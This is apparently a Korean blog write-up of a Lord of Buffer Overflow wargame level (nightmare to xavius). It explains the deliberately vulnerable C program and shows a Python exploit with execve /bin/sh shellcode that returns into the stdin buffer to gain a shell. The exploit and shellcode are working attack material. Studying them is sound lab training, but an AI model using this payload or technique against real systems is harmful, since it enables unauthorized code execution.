본문 바로가기

[Wargame Write-up]/Lord of Buffer Overflow

[LoB RedHat 6.2] LEVEL 19: nightmare -> xavius

LEVEL 19: fgets + destroyers


succubus처럼 buffer 크기가 40이고, argv가 아닌 fgets로 입력값을 받도록 되어 있다.


Library 함수를 사용하지 못하게 할거라면 \x40을 막으면 될텐데, \xbf, \x08을 막고 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
 
main()
{
    char buffer[40];
    char *ret_addr;
 
    // overflow!
    fgets(buffer, 256, stdin);
    printf("%s\n", buffer);
 
    if(*(buffer+47== '\xbf')
    {
        printf("stack retbayed you!\n");
        exit(0);
    }
 
    if(*(buffer+47== '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }
 
    // check if the ret_addr is library function or not
    memcpy(&ret_addr, buffer+444);
    while(memcmp(ret_addr, "\x90\x90"2!= 0)    // end point of function
    {
        if(*ret_addr == '\xc9'){        // leave
            if(*(ret_addr+1== '\xc3'){    // ret
                printf("You cannot use library function!\n");
                exit(0);
            }
        }
        ret_addr++
    }
 
        // stack destroyer
        memset(buffer, 044);
    memset(buffer+4800xbfffffff - (int)(buffer+48));
 
    // LD_* eraser
    // 40 : extra space for memset function
    memset(buffer-300003000-40);
}
 
cs



혹시나 하고 stdin의 주소를 확인해보기로 했다.


main 함수에서 fgets 함수 호출 직후 주소를 확인하자.




그 곳에 breakpoint를 걸고 실행 후 입력값 주입!




stdin의 주소를 확인하니, 0x401068c0으로 0x40으로 시작한다.


stdin을 이용하도록 하기 위해 \x40을 막지 않았나 싶다.


이후 0x401068cc 주소에 있는 0x40015000를 확인하니, 아까 입력했던 값이 들어있는 것을 확인할 수 있었다.


이 주소를 stdin tmp_buffer라고 칭하겠다.




공격 페이로드를 아래와 같이 구성한 후, exploit 코드를 작성하였다.


[ shellcode (25) ] [ dummy (19) ] [ stdin의 tmp_buffer 주소 (4) ]


1
2
3
4
5
6
7
8
9
10
11
12
13
import struct
 
 
p32 = lambda x: struct.pack("<I", x)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
 
stdin_buf = 0x40015000
 
payload = shellcode
payload += '\x90' * (44 - len(shellcode))
payload += p32(stdin_buf)
 
print(payload)
cs



위의 코드를 작성한 후, 아래처럼 실행하면 xavius 권한을 획득할 수 있다.